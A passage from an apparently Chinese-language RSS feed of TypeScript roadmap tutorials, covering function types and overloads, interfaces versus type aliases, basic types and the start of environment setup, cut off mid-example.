&lt;p&gt;把&quot;函数长什么样&quot;抽成类型：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Greet = (name: string) =&amp;gt; string;

const sayHi: Greet = (n) =&amp;gt; `hi ${n}`;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意区分两种箭头：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;(name: string) =&amp;gt; string&lt;/code&gt; 是&lt;strong&gt;类型&lt;/strong&gt;里的函数签名。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;(name: string): string =&amp;gt; {}&lt;/code&gt; 是&lt;strong&gt;值&lt;/strong&gt;里的箭头函数（返回类型注解在参数外）。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;2. 参数形态&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// 可选参数 ?
function build(name: string, age?: number): string {
  return age ? `${name}/${age}` : name;
}

// 默认参数（默认参数自动推断类型）
function fetch(url: string, method = &quot;GET&quot;): void {}

// rest 参数
function sum(...nums: number[]): number {
  return nums.reduce((a, b) =&amp;gt; a + b, 0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;规则：可选参数和默认参数&lt;strong&gt;必须放在必填参数之后&lt;/strong&gt;；rest 永远最后。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 函数重载 overload&lt;/h2&gt;
&lt;p&gt;JS 函数常根据参数类型/个数返回不同结果。TS 用&lt;strong&gt;重载签名 + 实现签名&lt;/strong&gt;表达：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 重载签名（对外可见，无函数体）
function reverse(x: string): string;
function reverse(x: number): number;

// 实现签名（对外不可见，需兼容所有重载）
function reverse(x: string | number): string | number {
  if (typeof x === &quot;string&quot;) return x.split(&quot;&quot;).reverse().join(&quot;&quot;);
  return Number(String(x).split(&quot;&quot;).reverse().join(&quot;&quot;));
}

reverse(&quot;abc&quot;);  // ✅ string
reverse(123);    // ✅ number
reverse(true);   // ❌ 不在重载列表中
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;要点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;重载签名可以有多个，实现签名只有一个且&lt;strong&gt;必须兼容全部重载&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;调用时按重载签名匹配，类型更精确（返回值是 &lt;code&gt;string&lt;/code&gt; 而非 &lt;code&gt;string | number&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;4. this 类型与 this 参数&lt;/h2&gt;
&lt;p&gt;JS 里 &lt;code&gt;this&lt;/code&gt;  notoriously 难推断。TS 用&lt;strong&gt;显式 this 参数&lt;/strong&gt;标注：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;interface Counter {
  count: number;
  inc(this: Counter): void;
}
const c: Counter = {
  count: 0,
  inc() { this.count++; },
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不写 &lt;code&gt;this: Counter&lt;/code&gt; 时，方法内 &lt;code&gt;this&lt;/code&gt; 会被推断为 &lt;code&gt;Counter&lt;/code&gt;，一般够用。但当函数被&lt;strong&gt;抽离调用&lt;/strong&gt;时容易丢 &lt;code&gt;this&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function print(this: User): void {
  console.log(this.name);
}
const u: User = { name: &quot;Tom&quot;, print } as any;
// 把 print 当回调传出去时，若没约束 this 会报错
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;this&lt;/code&gt; 参数&lt;strong&gt;必须放在参数列表第一位&lt;/strong&gt;，且只用于类型检查，编译后会被擦除。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;5. 回调里的 this&lt;/h2&gt;
&lt;p&gt;常见坑：回调函数中 &lt;code&gt;this&lt;/code&gt; 指向丢失。配合 &lt;code&gt;this&lt;/code&gt; 类型可约束：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;interface Handlers {
  onClick(this: Button, e: Event): void;
}
class Button {
  label = &quot;btn&quot;;
  bind(h: Handlers) {
    document.addEventListener(&quot;click&quot;, () =&amp;gt; h.call(this, event));
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样 &lt;code&gt;h&lt;/code&gt; 里只能用 &lt;code&gt;Button&lt;/code&gt; 的 &lt;code&gt;this&lt;/code&gt;，避免回调里误用外层 &lt;code&gt;this&lt;/code&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;6. 构造函数类型&lt;/h2&gt;
&lt;p&gt;用 &lt;code&gt;new&lt;/code&gt; 描述可 &lt;code&gt;new&lt;/code&gt; 的东西：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Constructor = new (name: string) =&amp;gt; Animal;
function create(Ctor: Constructor, name: string): Animal {
  return new Ctor(name);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;函数类型表达式 &lt;code&gt;(a: T) =&amp;gt; R&lt;/code&gt; 用于注解函数变量。&lt;/li&gt;
&lt;li&gt;可选 &lt;code&gt;?&lt;/code&gt;、默认、rest 参数各有位置约束。&lt;/li&gt;
&lt;li&gt;重载 = 多个对外签名 + 一个兼容实现，提升调用侧精度。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;this&lt;/code&gt; 参数放在第一位，约束方法/回调里的 &lt;code&gt;this&lt;/code&gt;，编译后擦除。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;写 &lt;code&gt;type BinaryOp = (a: number, b: number) =&amp;gt; number&lt;/code&gt;，实现 &lt;code&gt;add/sub/mul&lt;/code&gt; 三个符合该类型的值。&lt;/li&gt;
&lt;li&gt;用重载实现 &lt;code&gt;pad(s: string, n: number): string&lt;/code&gt; 与 &lt;code&gt;pad(n: number, len: number): string&lt;/code&gt;（数字补零）。&lt;/li&gt;
&lt;li&gt;写一个需要 &lt;code&gt;this: { value: number }&lt;/code&gt; 的 &lt;code&gt;double(this: { value: number }): number&lt;/code&gt; 方法并测试。&lt;/li&gt;
&lt;li&gt;解释&quot;实现签名必须兼容所有重载签名&quot;的含义，并故意写个不兼容的看报错。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>03 · 接口与类型别名</title><link>http://117.72.32.87/blog/posts/typescript-roadmap-03-interface-and-type/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/typescript-roadmap-03-interface-and-type/</guid><description>TypeScript 结构化类型的核心：interface 的定义、可选与只读成员、索引签名、接口继承、函数类型接口；type 类型别名的用法；interface 与 type 的取舍；交叉类型 &amp; 的组合技巧。</description><pubDate>Sun, 27 Sep 2026 05:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本篇讲 TS 描述&quot;对象形状&quot;的两大工具：&lt;code&gt;interface&lt;/code&gt; 与 &lt;code&gt;type&lt;/code&gt;。掌握它们，等于掌握了 TS 描述数据结构的语法。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;1. interface 定义对象形状&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;interface User {
  id: number;
  name: string;
  email: string;
}

function sendEmail(user: User): void {
  console.log(`给 ${user.name} 发邮件`);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;只要传入的对象&lt;strong&gt;结构匹配&lt;/strong&gt;（有 &lt;code&gt;id/name/email&lt;/code&gt;），就通过——TS 是&lt;strong&gt;结构化类型系统&lt;/strong&gt;（鸭子类型），不看&quot;是不是同一个类&quot;，只看&quot;长得像不像&quot;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. 可选与只读&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;interface User {
  id: number;
  name: string;
  bio?: string;            // ? 可选成员
  readonly createdAt: Date; // readonly 只读，赋值后不可改
}

const u: User = { id: 1, name: &quot;Tom&quot; }; // bio 可省略
u.createdAt = new Date(); // ❌ readonly 不可重新赋值
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;readonly&lt;/code&gt; 只约束&lt;strong&gt;编译期&lt;/strong&gt;的重新赋值，不保证深层不可变（数组元素、对象属性仍可被改）。深层冻结要用 &lt;code&gt;Object.freeze&lt;/code&gt; 或 &lt;code&gt;Readonly&amp;lt;T&amp;gt;&lt;/code&gt;（第 7 篇）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 索引签名&lt;/h2&gt;
&lt;p&gt;当你不知道对象有哪些键、但知道键值类型时用索引签名：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;interface StringMap {
  [key: string]: string;
}
const dict: StringMap = { a: &quot;1&quot;, b: &quot;2&quot; };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;常见场景：配置对象、字典结构。注意：一旦有索引签名，所有显式成员的类型必须&lt;strong&gt;兼容&lt;/strong&gt;该签名的值类型。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;4. 函数类型接口&lt;/h2&gt;
&lt;p&gt;接口也能描述函数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;interface SearchFn {
  (source: string, keyword: string): boolean;
}
const search: SearchFn = (s, k) =&amp;gt; s.includes(k);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不过函数类型更常用 &lt;code&gt;type&lt;/code&gt; 写（见第 4 篇），接口更偏向对象。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;5. 接口继承 extends&lt;/h2&gt;
&lt;p&gt;接口可继承多个：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;interface Animal {
  name: string;
}
interface Dog extends Animal {
  bark(): void;
}
// Dog = { name: string; bark(): void }
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;6. type 类型别名&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;type&lt;/code&gt; 给任意类型起名字，不只是对象：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type ID = number | string;
type Point = { x: number; y: number };
type Callback = (err: Error | null, data: string) =&amp;gt; void;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;type&lt;/code&gt; 还能配合联合、交叉、条件类型做复杂组合（后续多篇大量用到）。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;7. interface vs type：怎么选&lt;/h2&gt;
&lt;p&gt;这是高频面试题，结论如下：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;场景&lt;/th&gt;
&lt;th&gt;推荐&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;描述对象/类的公开形状&lt;/td&gt;
&lt;td&gt;&lt;code&gt;interface&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;需要被类 &lt;code&gt;implements&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;interface&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;联合类型、元组、基本类型别名&lt;/td&gt;
&lt;td&gt;&lt;code&gt;type&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;需要交叉 &lt;code&gt;&amp;amp;&lt;/code&gt;、条件、映射类型&lt;/td&gt;
&lt;td&gt;&lt;code&gt;type&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;想被&lt;strong&gt;声明合并&lt;/strong&gt;扩展&lt;/td&gt;
&lt;td&gt;&lt;code&gt;interface&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;关键差异：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;声明合并&lt;/strong&gt;：同名 &lt;code&gt;interface&lt;/code&gt; 会&lt;strong&gt;自动合并&lt;/strong&gt;；同名 &lt;code&gt;type&lt;/code&gt; 会&lt;strong&gt;报错&lt;/strong&gt;。&lt;pre&gt;&lt;code&gt;interface Foo { a: number }
interface Foo { b: string } // ✅ 合并为 { a: number; b: string }
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;继承方式&lt;/strong&gt;：interface 用 &lt;code&gt;extends&lt;/code&gt;，type 用交叉 &lt;code&gt;&amp;amp;&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;实践建议&lt;/strong&gt;：写对象/数据结构优先 &lt;code&gt;interface&lt;/code&gt;（可读性好、可合并）；涉及联合/交叉/工具类型用 &lt;code&gt;type&lt;/code&gt;。团队统一即可。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;8. 交叉类型 &amp;amp;&lt;/h2&gt;
&lt;p&gt;交叉把多个类型合并成一个&quot;全部都有&quot;的类型：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type A = { x: number };
type B = { y: string };
type C = A &amp;amp; B; // { x: number; y: string }

const c: C = { x: 1, y: &quot;hi&quot; };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对象交叉 = 成员并集；同名成员若类型冲突（如 &lt;code&gt;x: number &amp;amp; x: string&lt;/code&gt;）会变成 &lt;code&gt;never&lt;/code&gt;，要小心。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;interface&lt;/code&gt; 描述对象形状，支持可选 &lt;code&gt;?&lt;/code&gt;、只读 &lt;code&gt;readonly&lt;/code&gt;、索引签名、继承 &lt;code&gt;extends&lt;/code&gt;、声明合并。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;type&lt;/code&gt; 更通用，可表达联合/交叉/基本类型别名。&lt;/li&gt;
&lt;li&gt;对象结构用 &lt;code&gt;interface&lt;/code&gt;，组合类型用 &lt;code&gt;type&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;交叉 &lt;code&gt;&amp;amp;&lt;/code&gt; 合并成员，同名冲突会变 &lt;code&gt;never&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;定义 &lt;code&gt;interface Product { id: number; name: string; price: number; discount?: number }&lt;/code&gt;，写函数计算最终价。&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;type&lt;/code&gt; 定义 &lt;code&gt;type Coordinate = { lat: number; lng: number }&lt;/code&gt;，再用交叉 &lt;code&gt;&amp;amp;&lt;/code&gt; 加 &lt;code&gt;type WithName = Coordinate &amp;amp; { name: string }&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;验证声明合并：写两个同名 &lt;code&gt;interface Config&lt;/code&gt;，观察合并结果。&lt;/li&gt;
&lt;li&gt;思考 &lt;code&gt;type X = { a: number } &amp;amp; { a: string }&lt;/code&gt; 中 &lt;code&gt;a&lt;/code&gt; 是什么类型？&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>02 · 基础类型与类型注解</title><link>http://117.72.32.87/blog/posts/typescript-roadmap-02-basic-types/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/typescript-roadmap-02-basic-types/</guid><description>TypeScript 基础类型全解：原始类型、数组与元组、枚举（含 const enum 陷阱）、any/unknown/never/void 的区别与取舍、类型推断机制、字面量类型，建立&quot;类型即约束&quot;的核心直觉。</description><pubDate>Sun, 27 Sep 2026 04:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本篇讲 TS 的&quot;原子&quot;——基础类型。理解它们和类型推断，是后续所有类型组合的地基。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 类型注解语法&lt;/h2&gt;
&lt;p&gt;TS 在变量/参数/返回值后加 &lt;code&gt;: 类型&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let age: number = 18;
function add(a: number, b: number): number {
  return a + b;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但&lt;strong&gt;大多数时候你不用手写注解&lt;/strong&gt;——TS 会推断（见第 4 节）。注解主要用于：函数参数（无法推断）、对象结构、想收窄类型时。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. 原始类型&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;th&gt;示例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;string&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;字符串&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&quot;hello&quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;number&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;所有数字（含整数/浮点/NaN）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;42&lt;/code&gt;、&lt;code&gt;3.14&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;boolean&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;布尔&lt;/td&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;bigint&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;大整数&lt;/td&gt;
&lt;td&gt;&lt;code&gt;100n&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;symbol&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;唯一符号&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Symbol(&quot;k&quot;)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;null&lt;/code&gt; / &lt;code&gt;undefined&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;空值&lt;/td&gt;
&lt;td&gt;——&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;let title: string = &quot;TS 入门&quot;;
let count: number = 0;
let done: boolean = false;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;TS 里&lt;strong&gt;没有&lt;/strong&gt; &lt;code&gt;int&lt;/code&gt;/&lt;code&gt;float&lt;/code&gt; 之分，数字统一是 &lt;code&gt;number&lt;/code&gt;（编译到 JS 都是 &lt;code&gt;number&lt;/code&gt;）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 数组与元组&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// 数组：两种写法等价
let nums: number[] = [1, 2, 3];
let nums2: Array&amp;lt;number&amp;gt; = [1, 2, 3];

// 元组：固定长度、固定位置类型
let pair: [string, number] = [&quot;age&quot;, 18];
pair[0].toUpperCase(); // ✅ string 方法可用
pair[1].toFixed(2);    // ✅ number 方法可用
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;元组常用于&quot;固定结构的多返回值&quot;，比如 &lt;code&gt;useState&lt;/code&gt; 的 &lt;code&gt;[state, setState]&lt;/code&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;4. 枚举 enum&lt;/h2&gt;
&lt;p&gt;枚举给一组相关常量起名字：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;enum Direction {
  Up,
  Down,
  Left,
  Right,
}
Direction.Up;    // 0
Direction.Down;  // 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可指定值：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;enum Status {
  Success = 200,
  NotFound = 404,
  Error = 500,
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;字符串枚举：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;enum Role {
  Admin = &quot;ADMIN&quot;,
  User = &quot;USER&quot;,
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;⚠️ &lt;strong&gt;陷阱：const enum&lt;/strong&gt;。普通 enum 会编译成 JS 对象，有运行时开销；&lt;code&gt;const enum&lt;/code&gt; 在编译期被&lt;strong&gt;内联替换&lt;/strong&gt;，但配合某些打包器（尤其 &lt;code&gt;isolatedModules&lt;/code&gt;）会报错。现代项目多用&lt;strong&gt;字符串字面量联合&lt;/strong&gt;替代 enum（见第 8 篇），更轻量也更 TS 化。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;5. any / unknown / never / void&lt;/h2&gt;
&lt;p&gt;这四个容易混，务必分清：&lt;/p&gt;
&lt;h3&gt;any —— &quot;关掉类型检查&quot;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;let val: any = 4;
val = &quot;hello&quot;;
val.foo.bar; // 不报错，但运行时炸
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;any&lt;/code&gt; 会&lt;strong&gt;逃逸整个类型系统&lt;/strong&gt;，能调用任何成员。尽量少用；实在要接不明来源数据时，优先 &lt;code&gt;unknown&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;unknown —— &quot;安全的 any&quot;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;let input: unknown = getUserInput();
// input.toUpperCase(); // ❌ 必须先收窄类型
if (typeof input === &quot;string&quot;) {
  input.toUpperCase(); // ✅ 收窄后可用
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;unknown&lt;/code&gt; 是&quot;我还不知道类型&quot;，使用前必须做类型守卫，安全得多。&lt;/p&gt;
&lt;h3&gt;never —— &quot;永远不会发生&quot;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function fail(msg: string): never {
  throw new Error(msg);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;never&lt;/code&gt; 表示函数&lt;strong&gt;不返回&lt;/strong&gt;（抛异常/死循环），或&quot;一个不可能存在的值&quot;。它常用于&lt;strong&gt;穷尽性检查&lt;/strong&gt;（第 8 篇联合类型会用到）。&lt;/p&gt;
&lt;h3&gt;void —— &quot;没有返回值&quot;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function log(msg: string): void {
  console.log(msg);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;void&lt;/code&gt; 表示函数不返回有意义的值。注意：&lt;code&gt;undefined&lt;/code&gt; 是具体值，&lt;code&gt;void&lt;/code&gt; 是&quot;无返回&quot;的语义。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;6. 类型推断&lt;/h2&gt;
&lt;p&gt;TS 能自动推断绝大多数类型，不必处处注解：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let x = 10;          // 推断为 number
x = &quot;hi&quot;;            // ❌ 不能改成 string

const arr = [1, 2];  // 推断为 number[]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;推断规则速记：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用 &lt;code&gt;let&lt;/code&gt; 初始化 → 推断为&lt;strong&gt;值的类型&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;const&lt;/code&gt; 初始化对象/数组 → 推断为&lt;strong&gt;足够宽&lt;/strong&gt;的类型（数组是 &lt;code&gt;T[]&lt;/code&gt;，不是元组）。&lt;/li&gt;
&lt;li&gt;函数返回值 → 由 &lt;code&gt;return&lt;/code&gt; 推断；无 return 为 &lt;code&gt;void&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;最佳实践&lt;/strong&gt;：函数参数、导出对象结构显式注解；局部变量交给推断。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;7. 字面量类型&lt;/h2&gt;
&lt;p&gt;字面量不仅能当值，也能当类型——值本身成为类型：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let mode: &quot;light&quot; | &quot;dark&quot; = &quot;light&quot;;
mode = &quot;dark&quot;;   // ✅
mode = &quot;blue&quot;;   // ❌

const port = 8080; // const 下推断为字面量类型 8080（不是 number）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;字面量类型 + 联合 = 可辨识联合（第 8 篇核心），是 TS 最实用的特性之一。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;原始类型 &lt;code&gt;string/number/boolean/bigint/symbol/null/undefined&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;数组 &lt;code&gt;T[]&lt;/code&gt;、元组 &lt;code&gt;[T, U]&lt;/code&gt;（固定结构）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;enum&lt;/code&gt; 方便但有运行时开销，现代偏好字面量联合。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;any&lt;/code&gt;(关检查)/&lt;code&gt;unknown&lt;/code&gt;(需收窄)/&lt;code&gt;never&lt;/code&gt;(不返回)/&lt;code&gt;void&lt;/code&gt;(无返回) 各自有清晰边界。&lt;/li&gt;
&lt;li&gt;类型推断省注解，但参数和导出结构要显式写。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;定义 &lt;code&gt;let user: { name: string; age: number }&lt;/code&gt;，试把 &lt;code&gt;age&lt;/code&gt; 改成字符串看报错。&lt;/li&gt;
&lt;li&gt;写一个返回 &lt;code&gt;never&lt;/code&gt; 的 &lt;code&gt;assertNever(x: never): never&lt;/code&gt; 函数。&lt;/li&gt;
&lt;li&gt;用字面量联合定义 &lt;code&gt;type Theme = &quot;light&quot; | &quot;dark&quot; | &quot;system&quot;&lt;/code&gt;，并写函数 &lt;code&gt;applyTheme(t: Theme)&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;对比 &lt;code&gt;let n = 1&lt;/code&gt; 与 &lt;code&gt;const n = 1&lt;/code&gt; 推断出的类型差异（用 VS Code 悬浮查看）。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>01 · 环境搭建与第一个 TypeScript 程序</title><link>http://117.72.32.87/blog/posts/typescript-roadmap-01-env-setup/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/typescript-roadmap-01-env-setup/</guid><description>从零搭建 TypeScript 开发环境：安装 Node 与 tsc、编写并编译第一个 hello.ts、理解 tsconfig.json 关键字段、配置 VS Code、用 npm scripts 与 tsx/ts-node 提升开发体验。</description><pubDate>Sun, 27 Sep 2026 03:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本篇目标：在你的电脑上跑通 TypeScript 工具链，写出第一个能被编译运行的 TS 文件，并建立对 &lt;code&gt;tsconfig.json&lt;/code&gt; 的初步认识。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 安装 Node.js&lt;/h2&gt;
&lt;p&gt;TypeScript 编译器 &lt;code&gt;tsc&lt;/code&gt; 本身是一个 Node.js 程序，所以第一步是装 Node。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 查看是否已安装（建议 18+）
node -v
npm -v
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;没装的话去 &lt;a href=&quot;https://nodejs.org/&quot;&gt;nodejs.org&lt;/a&gt; 下载 LTS 版本即可。装好后 &lt;code&gt;npm&lt;/code&gt; 也一并就绪。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. 安装 TypeScript 编译器&lt;/h2&gt;
&lt;p&gt;推荐&lt;strong&gt;项目级安装&lt;/strong&gt;（而非全局），这样不同项目能锁定不同版本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 在当前项目目录初始化并安装
npm init -y
npm install -D typescript

# 验证安装
npx tsc -v
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;npx tsc&lt;/code&gt; 会调用本地安装的 &lt;code&gt;tsc&lt;/code&gt;。如果想全局装也可以 &lt;code&gt;npm install -g typescript&lt;/code&gt;，但团队项目强烈建议走 &lt;code&gt;devDependencies&lt;/code&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 第一个 TypeScript 程序&lt;/h2&gt;
&lt;p&gt;新建 &lt;code&gt;hello.ts&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// hello.ts
function greet(name: string): string {
  return `你好，${name}！`;
}

const message = greet(&quot;TypeScript&quot;);
console.log(message);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意 &lt;code&gt;name: string&lt;/code&gt; 和 &lt;code&gt;: string&lt;/code&gt; 这两处类型注解——这就是 TS 比 JS 多的部分。&lt;/p&gt;
&lt;p&gt;编译它：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npx tsc hello.ts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;会生成一个 &lt;code&gt;hello.js&lt;/code&gt;（类型注解被擦除后的纯 JS）。运行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;node hello.js
